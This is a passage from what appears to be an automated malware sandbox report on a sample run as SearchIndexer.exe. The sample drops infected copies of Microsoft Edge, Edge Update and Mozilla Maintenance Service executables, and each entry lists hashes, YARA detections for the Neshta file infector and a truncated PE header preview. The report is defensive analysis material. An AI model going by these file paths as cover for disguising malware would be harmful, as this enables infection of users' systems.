                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1319976
                                                                  Entropy (8bit):6.504627467158373
                                                                  Encrypted:false
                                                                  SSDEEP:12288:gyeb4D2VLtrQA1Yim7XGLZxHwlqxlThfkY8bo0cITiLEpPoVfMA+nkthF2g0oz5:giD2VmA1YXQHwlklb8boUuWPg2gX
                                                                  MD5:ADDCC10DC80D3B994800C6B44EC0B5E6
                                                                  SHA1:C52E9B1C03747A2B4F350E6CC288851DE64AC113
                                                                  SHA-256:03B114F2F97AD84613CAA8E5F964D4C8BDA56DAC8EA9C680A1DFBC43449EA14F
                                                                  SHA-512:74E250EA454D878ABF1F9CA3E7AEC66600A5FC785555FDF708E22103D51E939072A0B28FA7AAFD847D370DC03781F723B216117361389A3F87F3F93874D26AA1
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):2327080
                                                                  Entropy (8bit):6.531478857250512
                                                                  Encrypted:false
                                                                  SSDEEP:24576:+fD3zcv9ZhsSGSQoryOzozU63IqRNhB0kDKPHkkkkkkkBoIeAz:+fD3zO9ZhBGlopzM3HRNr00z
                                                                  MD5:DB94AD04A7559F74A92620CB04373946
                                                                  SHA1:826B3FCF77456D83544CC451561FC9DE5978DAEF
                                                                  SHA-256:8FC9FD66947D8CB6D1BA902B3174924A872176273E4B9545CC05F2486A0AED73
                                                                  SHA-512:E5705F611A87C57C2172055A947CE5BBA675605319525FC2678D317625826A9893D1149911640796BAF0305A94FC76BDB79C8F31D7782CF113A8904B3AD41100
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):3790800
                                                                  Entropy (8bit):6.537921104997593
                                                                  Encrypted:false
                                                                  SSDEEP:49152:OTaRe7mkn5KLvD5qGVC008Jpb4tgLUgGEsLABD5wTQh07yrLMLl9YPhe:hI72LvkrCpbxJRoIMx
                                                                  MD5:5750A055DF2980C145707A60B2CDE7EF
                                                                  SHA1:26774B8B7BA30DB32A6AF0A6C7FCCCE981823474
                                                                  SHA-256:A954923EC03888AD38B22F135037F62F520988C5A5A87676882A2B972CEB54EA
                                                                  SHA-512:229FD22736C66BA9D5836F2D2A747D4B761184BA134C818D91B443E255CDDA32CAFA4419CD19AD49915CE20206D865F4B7F9E0B388C20298857B5BCA5CC4217B
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, Author: ditekSHen
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1535528
                                                                  Entropy (8bit):6.517840298614509
                                                                  Encrypted:false
                                                                  SSDEEP:12288:q406WoyJHeFOqDRA7uKk+TjnkgiMnQq+UI7MBImQWkv7yfOYIXbwohMA+nkXZnHC:rW9Jml9mmijZiMnF+ZxmQWcbLw8Vi
                                                                  MD5:366FA8E2786C71AA81D106EF9FA15233
                                                                  SHA1:B626BA440B5EB37132849B697AF040A7E462E0B9
                                                                  SHA-256:1B87E233A5CAEA65CD8D8EBC91AB48A42F18FC9991041599C202EA85995EF24E
                                                                  SHA-512:D596450A8A03F6894982DAC3861C4E34339521F70DEB5073343F19565DA47A168025DFA3C1B7178677C9116A22F6A499D1277F28D1E6B829743D949D9592A848
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1273384
                                                                  Entropy (8bit):6.516053672496002
                                                                  Encrypted:false
                                                                  SSDEEP:12288:C5eN+kL3gVeYt/uakJMtleRO40BbdJrPVJAzAlPY6mYzJuomPMA+nkVogIkd9:CwNHwoYhua6MtERO4qbBJTY6mY1uIgp
                                                                  MD5:64A7111DE17E26E2B89E10AE82FED662
                                                                  SHA1:911E048F0336C9BBA3DA35E48BEDBBF04B4035A9
                                                                  SHA-256:3C470FD7B87FCEC230016076A57F77324766326295D90138E4A780EFF0DD36B9
                                                                  SHA-512:65A8D9276DD61A9666323D4A73950D854422B43BFD4D43F83AEB1895DD3338869216A53930B10B753347B6C8DD6338FCEEB3336E41730DCE74CCC01FA7616C5B
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):4251688
                                                                  Entropy (8bit):6.5065813007912885
                                                                  Encrypted:false
                                                                  SSDEEP:49152:vpawZh+vD5oLv9eqJ/iUPnspBu/MLPgyLMLQB4gQDyJ0ryMOAqk9l/hO2y/BT:EehFLvTQDpB5oSOmlBl
                                                                  MD5:23A855DD7FA34F616F73B392E464E216
                                                                  SHA1:EFD849CB22D1D33B16D6FECD54C318B0A6E222EA
                                                                  SHA-256:E198D71BC75B0E61DD2F61080062B4E41ACDFC7F7FF148CB11839DE3E0523A27
                                                                  SHA-512:8B4AF629B2022F10FF2D3FD4D4C73F9B23CE085B08B70FB29044D03F0FBC498BADF4D62854378FB0A0E6A2DBE2848D0B83550C3F6C3C08CF05C50C81B04B6A5C
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1319976
                                                                  Entropy (8bit):6.504627467158373
                                                                  Encrypted:false
                                                                  SSDEEP:12288:gyeb4D2VLtrQA1Yim7XGLZxHwlqxlThfkY8bo0cITiLEpPoVfMA+nkthF2g0oz5:giD2VmA1YXQHwlklb8boUuWPg2gX
                                                                  MD5:ADDCC10DC80D3B994800C6B44EC0B5E6
                                                                  SHA1:C52E9B1C03747A2B4F350E6CC288851DE64AC113
                                                                  SHA-256:03B114F2F97AD84613CAA8E5F964D4C8BDA56DAC8EA9C680A1DFBC43449EA14F
                                                                  SHA-512:74E250EA454D878ABF1F9CA3E7AEC66600A5FC785555FDF708E22103D51E939072A0B28FA7AAFD847D370DC03781F723B216117361389A3F87F3F93874D26AA1
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1273384
                                                                  Entropy (8bit):6.516053672496002
                                                                  Encrypted:false
                                                                  SSDEEP:12288:C5eN+kL3gVeYt/uakJMtleRO40BbdJrPVJAzAlPY6mYzJuomPMA+nkVogIkd9:CwNHwoYhua6MtERO4qbBJTY6mY1uIgp
                                                                  MD5:64A7111DE17E26E2B89E10AE82FED662
                                                                  SHA1:911E048F0336C9BBA3DA35E48BEDBBF04B4035A9
                                                                  SHA-256:3C470FD7B87FCEC230016076A57F77324766326295D90138E4A780EFF0DD36B9
                                                                  SHA-512:65A8D9276DD61A9666323D4A73950D854422B43BFD4D43F83AEB1895DD3338869216A53930B10B753347B6C8DD6338FCEEB3336E41730DCE74CCC01FA7616C5B
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):225232
                                                                  Entropy (8bit):5.921842033117269
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CPcxiNNpCPPQPg2cluc/Xswbz8cz3quKoNX1gd:k9PcwVz4B8c37KoNX1q
                                                                  MD5:C0877D9CC17715787EC3329EB0FAD7C1
                                                                  SHA1:E51DA518D764E4982471BE235E096A8D11217A56
                                                                  SHA-256:17C75E1739499E52B56470EED4C924379065703E8C665E449882E02856F96205
                                                                  SHA-512:EE748102A0C002B25989E073585DD7A611A64E85CB0C57CBD6592733A038BC8EEDBCB8F917BBBED02D7759C5621F5B6B03A587B317FD13A4014CF113C4FC4C57
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):247760
                                                                  Entropy (8bit):5.770986149607887
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CKW4l/DReos0gXf+EvC6C36eCWdMuoB+ISzBqUGxNtvKAbFP3cSEt0phcxAe:k9wl/DRfkTC3dM7B+mCivAT
                                                                  MD5:86242784CC98EBA7A0B0A1833901F76A
                                                                  SHA1:19178197143972E718023C5EA70F631971A4BC2D
                                                                  SHA-256:AB99BD10F6FB73856BAF95E9D4AC0434DF660B74388E53206955B9B512F3350D
                                                                  SHA-512:2AFEB5CAF7728E2EBD04D3BF42AD55AAC759CAA453FFDF6BAF0D8E7095782F90E165E3009ED619A7E8A3E62638C12D8C67016092972E193215DF9A3422ECB589
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):142288
                                                                  Entropy (8bit):6.426113960826444
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85Cy684ePKoTB+IvoAewtxUff8aohGme+YDfYz8FrR7:k9yrTB+AleYIkifYUF
                                                                  MD5:9AD6CF45A4476B8A6AFC310D5E410235
                                                                  SHA1:07A614202F584361E48471CB3DBDB3FCD24E47FF
                                                                  SHA-256:1655811CC8A1E4BC12127B20600F93AB3DE3CC467CED76ED99C04C83FF15763C
                                                                  SHA-512:2737F8675AC768EDEA72CDF6F42579F1FC1ADE43122AFEE8971801ECB2F2E93DD10815DA419328D3BE26FEC7C633F881027BFF088877FF9F80BE96D5C106AABE
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):259024
                                                                  Entropy (8bit):6.0902993716555995
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85C5XEV0tle+5IbvBCMmNginHy8lZoY46Mu/rLogrlKq9YXI35EvMl:k95UVwleMITTmNv1ohWsqYI354I
                                                                  MD5:628F406DFCBB08B84171E530D77B3C9E
                                                                  SHA1:0A22B2ECAB9EAD7F1D399773BD1BB1FC359EB708
                                                                  SHA-256:482D936CBBF75D3C6248BFCE1B6E5546AB79DE4D4A715490F62CF8674517AF64
                                                                  SHA-512:B9A97C76AA2A38273835DEC7C0A9E91C668038C5BC422BD92654C259865680F92B841115C92529A1AFC50E70CC358FDEB2981C8AE43852C6EE090A3AFF92AA6D
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):305120
                                                                  Entropy (8bit):6.414707301174103
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k98FKucTm3RhMfoSG5dCd7hjAOe9UmXY2Gh++CgBlPMoX:XKucTm3RhMfoSBjA9U2Yxh+Zgb7X
                                                                  MD5:9938BDFE29D3CFAC8D713DFD743243B8
                                                                  SHA1:68CC77B8F114F34BE1A4A263D7F8736E857BBD12
                                                                  SHA-256:9204357B6EB1CB6459E2B0B67FC95E3A80D90781E0C7F97D7294FB6563B20CF1
                                                                  SHA-512:4F0C37C0BC405B483D11A80C5A23C1094ACB9E9CA48DDACC662E989AA21E301940018C08B5A861B482A06AFF2EA8AC9AAD0C8ABAB7E15628348764E779D306E4
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):142288
                                                                  Entropy (8bit):6.426793148875817
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CtaivqozB+IvcZ4wrZU+l/8xoAm2+YDfYz8GrR/:k9FzB+Aw4CZNr2fYLl
                                                                  MD5:2AFBE95A5B1815B2E957E569D2CEF5C4
                                                                  SHA1:BD94E512E4EBBFA8D7BA255E66015DB721CA4801
                                                                  SHA-256:B5385EBBA1FA3E8E1288780A37ADCFE065EC02C764BC539F60CF0BBC2949BAE6
                                                                  SHA-512:0BD007F304E27149CC134004BC51ABD86AD3A701F72DDCD0A121399A73FFAC72061A6B027477DDCD29464C7F50232F7197DF5BA5A8432F051D40FAC225512951
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):1640416
                                                                  Entropy (8bit):7.912831259553018
                                                                  Encrypted:false
                                                                  SSDEEP:24576:1wy53G70SeiN9YqxCCg83udcWXDYajPF2410wuRpGfFki94qSe/wsNfzUG:6y53w24gQu3TPZ2psFkiSqwozX
                                                                  MD5:DCC61986BC0A26675681559C484E15FB
                                                                  SHA1:6F413F9D4A2B64A6F9DCA21B9310EBFF186D6E16
                                                                  SHA-256:A341E8D1C1BA0A82635135A5A24089C3EA484066B02E28B1CAFCEB1628BF53EB
                                                                  SHA-512:2C93519CBBE6B0AFAE36A696EDC6C33A25808D562A286BA278DB0418440BA4DE7B27823F13114581D3F2C830BB3261D634622CDB4053EA28EBD4BCFF3216CFAE
                                                                  Malicious:true
                                                                  Yara Hits:
                                                                  • Rule: JoeSecurity_Neshta, Description: Yara detected Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, Author: Joe Security
                                                                  • Rule: MALWARE_Win_Neshta, Description: Detects Neshta, Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, Author: ditekSHen
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):144866
                                                                  Entropy (8bit):6.240317481153233
                                                                  Encrypted:false
                                                                  SSDEEP:3072:sr85CORD5b0qZ7y4jem7y6tkNRCywDw1DiJkuKUY:k9UD5lZ7y4j9KT4DteUY
                                                                  MD5:6A1BE74AD1EE28433BF1549DFA813DC9
                                                                  SHA1:A4BBC87890CA7463AEC75B963291A69B65390653
                                                                  SHA-256:BC21B225F668AE2C3B8439ADB91969D39F711E9D57B557AD79FAD8FD8AEB2085
                                                                  SHA-512:8A0033D4D5B82856CE0826B9DD90B792BF9E9641463DAC1DAE83ED6E3F18F384AB6CC5E0998615A8DCE5BD6CD360E17BCE85C1FF8AA45B08A95383D89D228B0B
                                                                  Malicious:true
                                                                  Reputation:unknown
                                                                  Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................t...*...................@..............................................@...........................P..d............................................................p......................................................CODE....,r.......t.................. ..`DATA.................x..............@...BSS..................|...................idata..d....P.......|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

                                                                  C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

                                                                  Download File
                                                                  Process:C:\Users\user\Desktop\SearchIndexer.exe
                                                                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                  Category:dropped
                                                                  Size (bytes):280480
                                                                  Entropy (8bit):6.386490869107258
                                                                  Encrypted:false
                                                                  SSDEEP:6144:k9wPr2vXzrEbslNp/JNsJKQl0GkRAqVNf0O3:/DQXRVTZu0GP+ZR
                                                                  MD5:F7B6F7CA5E4D9AD2DD9B1887D57CFF86
                                                                  SHA1:2E0494EF5F5603FCBB0F12F593F3F401930C2FDF
                                                                  SHA-256:26EB1DC3EBA8950CF5D8663EE94CA6105BE1227DD239B81FF571B4372D49D320
                                                                  SHA-512:181262E06BE2C01A7BDFCD4DEA634D71FD39D795339FA6A3FB327FE7E75BBB12C0B5AFC1E8811DDACA14654268D0D26E828BE1AE475B05503626684AF7190009
                                                                  Malicious:true
                                                                  Yara Hits:
